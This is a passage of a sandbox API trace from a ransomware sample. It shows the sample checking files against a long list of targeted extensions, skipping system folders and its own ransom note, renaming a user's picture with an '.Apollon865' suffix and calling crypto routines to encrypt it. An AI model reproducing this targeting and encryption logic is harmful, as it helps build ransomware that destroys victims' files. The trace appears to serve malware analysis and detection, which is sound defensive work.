	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.319] lstrlenW (lpString="spq") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.319] lstrlenW (lpString="te") returned 2
	[0087.319] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.319] lstrlenW (lpString="teacher") returned 7
	[0087.319] lstrcmpiW (lpString1="pHf.jpg", lpString2="teacher") returned -1
	[0087.319] lstrlenW (lpString="tmd") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.319] lstrlenW (lpString="tps") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.319] lstrlenW (lpString="trc") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.320] lstrlenW (lpString="trc") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.320] lstrlenW (lpString="trm") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.320] lstrlenW (lpString="udb") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.320] lstrlenW (lpString="udl") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.320] lstrlenW (lpString="usr") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.320] lstrlenW (lpString="v12") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.320] lstrlenW (lpString="vis") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.320] lstrlenW (lpString="vpd") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.320] lstrlenW (lpString="vvv") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.320] lstrlenW (lpString="wdb") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.320] lstrlenW (lpString="wmdb") returned 4
	[0087.320] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.320] lstrlenW (lpString="wrk") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.320] lstrlenW (lpString="xdb") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.320] lstrlenW (lpString="xld") returned 3
	[0087.320] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.320] lstrlenW (lpString="xmlff") returned 5
	[0087.320] lstrcmpiW (lpString1="f.jpg", lpString2="xmlff") returned -1
	[0087.320] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\mhK2i-l2pHf.jpg.Apollon865") returned 80
	[0087.320] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\mhK2i-l2pHf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\mhk2i-l2phf.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\mhK2i-l2pHf.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\mhk2i-l2phf.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\mhK2i-l2pHf.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\mhk2i-l2phf.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.322] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=27697) returned 1
	[0087.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.322] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.323] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.323] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.323] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f40, lpName=0x0) returned 0x15c
	[0087.323] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f40) returned 0x100000
	[0087.324] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.325] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.325] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.326] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.326] CloseHandle (hObject=0x15c) returned 1
	[0087.326] CloseHandle (hObject=0x9c) returned 1
	[0087.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.328] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe13090, ftCreationTime.dwHighDateTime=0x1d4cfe2, ftLastAccessTime.dwLowDateTime=0xb1855220, ftLastAccessTime.dwHighDateTime=0x1d4ce7f, ftLastWriteTime.dwLowDateTime=0xb1855220, ftLastWriteTime.dwHighDateTime=0x1d4ce7f, nFileSizeHigh=0x0, nFileSizeLow=0x180ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ON_bgqgpcKfSVx.gif", cAlternateFileName="ON_BGQ~1.GIF")) returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="Apollon865.txt.exe") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2=".") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="..") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="windows") returned -1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="bootmgr") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="temp") returned -1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="pagefile.sys") returned -1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="boot") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="ids.txt") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="ntuser.dat") returned 1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="perflogs") returned -1
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2="MSBuild") returned 1
	[0087.328] lstrlenW (lpString="ON_bgqgpcKfSVx.gif") returned 18
	[0087.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\mhK2i-l2pHf.jpg") returned 69
	[0087.328] lstrcpyW (in: lpString1=0x119e674, lpString2="ON_bgqgpcKfSVx.gif" | out: lpString1="ON_bgqgpcKfSVx.gif") returned="ON_bgqgpcKfSVx.gif"
	[0087.328] lstrlenW (lpString="ON_bgqgpcKfSVx.gif") returned 18
	[0087.328] lstrlenW (lpString="Apollon865") returned 10
	[0087.328] lstrcmpiW (lpString1="cKfSVx.gif", lpString2="Apollon865") returned 1
	[0087.328] lstrlenW (lpString=".dll") returned 4
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2=".dll") returned 1
	[0087.328] lstrlenW (lpString=".lnk") returned 4
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2=".lnk") returned 1
	[0087.328] lstrlenW (lpString=".ini") returned 4
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2=".ini") returned 1
	[0087.328] lstrlenW (lpString=".sys") returned 4
	[0087.328] lstrcmpiW (lpString1="ON_bgqgpcKfSVx.gif", lpString2=".sys") returned 1
	[0087.329] lstrlenW (lpString="ON_bgqgpcKfSVx.gif") returned 18
	[0087.329] lstrlenW (lpString="bak") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0087.329] lstrlenW (lpString="ba_") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0087.329] lstrlenW (lpString="dbb") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0087.329] lstrlenW (lpString="vmdk") returned 4
	[0087.329] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0087.329] lstrlenW (lpString="rar") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0087.329] lstrlenW (lpString="zip") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0087.329] lstrlenW (lpString="tgz") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0087.329] lstrlenW (lpString="vbox") returned 4
	[0087.329] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0087.329] lstrlenW (lpString="vdi") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0087.329] lstrlenW (lpString="vhd") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0087.329] lstrlenW (lpString="vhdx") returned 4
	[0087.329] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0087.329] lstrlenW (lpString="avhd") returned 4
	[0087.329] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0087.329] lstrlenW (lpString="db") returned 2
	[0087.329] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0087.329] lstrlenW (lpString="db2") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0087.329] lstrlenW (lpString="db3") returned 3
	[0087.329] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0087.330] lstrlenW (lpString="dbf") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0087.330] lstrlenW (lpString="mdf") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0087.330] lstrlenW (lpString="mdb") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0087.330] lstrlenW (lpString="sql") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0087.330] lstrlenW (lpString="sqlite") returned 6
	[0087.330] lstrcmpiW (lpString1="Vx.gif", lpString2="sqlite") returned 1
	[0087.330] lstrlenW (lpString="sqlite3") returned 7
	[0087.330] lstrcmpiW (lpString1="SVx.gif", lpString2="sqlite3") returned 1
	[0087.330] lstrlenW (lpString="sqlitedb") returned 8
	[0087.330] lstrcmpiW (lpString1="fSVx.gif", lpString2="sqlitedb") returned -1
	[0087.330] lstrlenW (lpString="xml") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0087.330] lstrlenW (lpString="$er") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0087.330] lstrlenW (lpString="4dd") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0087.330] lstrlenW (lpString="4dl") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0087.330] lstrlenW (lpString="^^^") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0087.330] lstrlenW (lpString="abs") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0087.330] lstrlenW (lpString="abx") returned 3
	[0087.330] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0087.330] lstrlenW (lpString="accdb") returned 5
	[0087.330] lstrcmpiW (lpString1="x.gif", lpString2="accdb") returned 1
	[0087.330] lstrlenW (lpString="accdc") returned 5
	[0087.330] lstrcmpiW (lpString1="x.gif", lpString2="accdc") returned 1
	[0087.330] lstrlenW (lpString="accde") returned 5
	[0087.330] lstrcmpiW (lpString1="x.gif", lpString2="accde") returned 1
	[0087.330] lstrlenW (lpString="accdr") returned 5
	[0087.331] lstrcmpiW (lpString1="x.gif", lpString2="accdr") returned 1
	[0087.331] lstrlenW (lpString="accdt") returned 5
	[0087.331] lstrcmpiW (lpString1="x.gif", lpString2="accdt") returned 1
	[0087.331] lstrlenW (lpString="accdw") returned 5
	[0087.331] lstrcmpiW (lpString1="x.gif", lpString2="accdw") returned 1
	[0087.331] lstrlenW (lpString="accft") returned 5
	[0087.331] lstrcmpiW (lpString1="x.gif", lpString2="accft") returned 1
	[0087.331] lstrlenW (lpString="adb") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.331] lstrlenW (lpString="adb") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.331] lstrlenW (lpString="ade") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0087.331] lstrlenW (lpString="adf") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0087.331] lstrlenW (lpString="adn") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0087.331] lstrlenW (lpString="adp") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0087.331] lstrlenW (lpString="alf") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0087.331] lstrlenW (lpString="ask") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0087.331] lstrlenW (lpString="btr") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0087.331] lstrlenW (lpString="cat") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0087.331] lstrlenW (lpString="cdb") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0087.331] lstrlenW (lpString="ckp") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0087.331] lstrlenW (lpString="cma") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0087.331] lstrlenW (lpString="cpd") returned 3
	[0087.331] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0087.332] lstrlenW (lpString="dacpac") returned 6
	[0087.332] lstrcmpiW (lpString1="Vx.gif", lpString2="dacpac") returned 1
	[0087.332] lstrlenW (lpString="dad") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0087.332] lstrlenW (lpString="dadiagrams") returned 10
	[0087.332] lstrcmpiW (lpString1="cKfSVx.gif", lpString2="dadiagrams") returned -1
	[0087.332] lstrlenW (lpString="daschema") returned 8
	[0087.332] lstrcmpiW (lpString1="fSVx.gif", lpString2="daschema") returned 1
	[0087.332] lstrlenW (lpString="db-journal") returned 10
	[0087.332] lstrcmpiW (lpString1="cKfSVx.gif", lpString2="db-journal") returned -1
	[0087.332] lstrlenW (lpString="db-shm") returned 6
	[0087.332] lstrcmpiW (lpString1="Vx.gif", lpString2="db-shm") returned 1
	[0087.332] lstrlenW (lpString="db-wal") returned 6
	[0087.332] lstrcmpiW (lpString1="Vx.gif", lpString2="db-wal") returned 1
	[0087.332] lstrlenW (lpString="dbc") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0087.332] lstrlenW (lpString="dbs") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0087.332] lstrlenW (lpString="dbt") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0087.332] lstrlenW (lpString="dbv") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0087.332] lstrlenW (lpString="dbx") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0087.332] lstrlenW (lpString="dcb") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0087.332] lstrlenW (lpString="dct") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1
	[0087.332] lstrlenW (lpString="dcx") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1
	[0087.332] lstrlenW (lpString="ddl") returned 3
	[0087.332] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1
	[0087.332] lstrlenW (lpString="dlis") returned 4
	[0087.332] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1
	[0087.333] lstrlenW (lpString="dp1") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1
	[0087.333] lstrlenW (lpString="dqy") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1
	[0087.333] lstrlenW (lpString="dsk") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1
	[0087.333] lstrlenW (lpString="dsn") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1
	[0087.333] lstrlenW (lpString="dtsx") returned 4
	[0087.333] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1
	[0087.333] lstrlenW (lpString="dxl") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1
	[0087.333] lstrlenW (lpString="eco") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1
	[0087.333] lstrlenW (lpString="ecx") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1
	[0087.333] lstrlenW (lpString="edb") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1
	[0087.333] lstrlenW (lpString="epim") returned 4
	[0087.333] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1
	[0087.333] lstrlenW (lpString="fcd") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1
	[0087.333] lstrlenW (lpString="fdb") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1
	[0087.333] lstrlenW (lpString="fic") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1
	[0087.333] lstrlenW (lpString="flexolibrary") returned 12
	[0087.333] lstrcmpiW (lpString1="gpcKfSVx.gif", lpString2="flexolibrary") returned 1
	[0087.333] lstrlenW (lpString="fm5") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1
	[0087.333] lstrlenW (lpString="fmp") returned 3
	[0087.333] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1
	[0087.333] lstrlenW (lpString="fmp12") returned 5
	[0087.333] lstrcmpiW (lpString1="x.gif", lpString2="fmp12") returned 1
	[0087.334] lstrlenW (lpString="fmpsl") returned 5
	[0087.334] lstrcmpiW (lpString1="x.gif", lpString2="fmpsl") returned 1
	[0087.334] lstrlenW (lpString="fol") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1
	[0087.334] lstrlenW (lpString="fp3") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1
	[0087.334] lstrlenW (lpString="fp4") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1
	[0087.334] lstrlenW (lpString="fp5") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1
	[0087.334] lstrlenW (lpString="fp7") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1
	[0087.334] lstrlenW (lpString="fpt") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1
	[0087.334] lstrlenW (lpString="frm") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1
	[0087.334] lstrlenW (lpString="gdb") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0087.334] lstrlenW (lpString="gdb") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0087.334] lstrlenW (lpString="grdb") returned 4
	[0087.334] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1
	[0087.334] lstrlenW (lpString="gwi") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1
	[0087.334] lstrlenW (lpString="hdb") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1
	[0087.334] lstrlenW (lpString="his") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="his") returned -1
	[0087.334] lstrlenW (lpString="ib") returned 2
	[0087.334] lstrcmpiW (lpString1="if", lpString2="ib") returned 1
	[0087.334] lstrlenW (lpString="idb") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1
	[0087.334] lstrlenW (lpString="ihx") returned 3
	[0087.334] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1
	[0087.335] lstrlenW (lpString="itdb") returned 4
	[0087.335] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1
	[0087.335] lstrlenW (lpString="itw") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1
	[0087.335] lstrlenW (lpString="jet") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1
	[0087.335] lstrlenW (lpString="jtx") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1
	[0087.335] lstrlenW (lpString="kdb") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1
	[0087.335] lstrlenW (lpString="kexi") returned 4
	[0087.335] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1
	[0087.335] lstrlenW (lpString="kexic") returned 5
	[0087.335] lstrcmpiW (lpString1="x.gif", lpString2="kexic") returned 1
	[0087.335] lstrlenW (lpString="kexis") returned 5
	[0087.335] lstrcmpiW (lpString1="x.gif", lpString2="kexis") returned 1
	[0087.335] lstrlenW (lpString="lgc") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1
	[0087.335] lstrlenW (lpString="lwx") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1
	[0087.335] lstrlenW (lpString="maf") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1
	[0087.335] lstrlenW (lpString="maq") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1
	[0087.335] lstrlenW (lpString="mar") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1
	[0087.335] lstrlenW (lpString="marshal") returned 7
	[0087.335] lstrcmpiW (lpString1="SVx.gif", lpString2="marshal") returned 1
	[0087.335] lstrlenW (lpString="mas") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1
	[0087.335] lstrlenW (lpString="mav") returned 3
	[0087.335] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1
	[0087.335] lstrlenW (lpString="maw") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1
	[0087.336] lstrlenW (lpString="mdbhtml") returned 7
	[0087.336] lstrcmpiW (lpString1="SVx.gif", lpString2="mdbhtml") returned 1
	[0087.336] lstrlenW (lpString="mdn") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1
	[0087.336] lstrlenW (lpString="mdt") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1
	[0087.336] lstrlenW (lpString="mfd") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1
	[0087.336] lstrlenW (lpString="mpd") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1
	[0087.336] lstrlenW (lpString="mrg") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1
	[0087.336] lstrlenW (lpString="mud") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1
	[0087.336] lstrlenW (lpString="mwb") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1
	[0087.336] lstrlenW (lpString="myd") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1
	[0087.336] lstrlenW (lpString="ndf") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1
	[0087.336] lstrlenW (lpString="nnt") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1
	[0087.336] lstrlenW (lpString="nrmlib") returned 6
	[0087.336] lstrcmpiW (lpString1="Vx.gif", lpString2="nrmlib") returned 1
	[0087.336] lstrlenW (lpString="ns2") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1
	[0087.336] lstrlenW (lpString="ns3") returned 3
	[0087.336] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1
	[0087.337] lstrlenW (lpString="ns4") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1
	[0087.337] lstrlenW (lpString="nsf") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1
	[0087.337] lstrlenW (lpString="nv") returned 2
	[0087.337] lstrcmpiW (lpString1="if", lpString2="nv") returned -1
	[0087.337] lstrlenW (lpString="nv2") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1
	[0087.337] lstrlenW (lpString="nwdb") returned 4
	[0087.337] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1
	[0087.337] lstrlenW (lpString="nyf") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1
	[0087.337] lstrlenW (lpString="odb") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0087.337] lstrlenW (lpString="odb") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0087.337] lstrlenW (lpString="oqy") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1
	[0087.337] lstrlenW (lpString="ora") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1
	[0087.337] lstrlenW (lpString="orx") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1
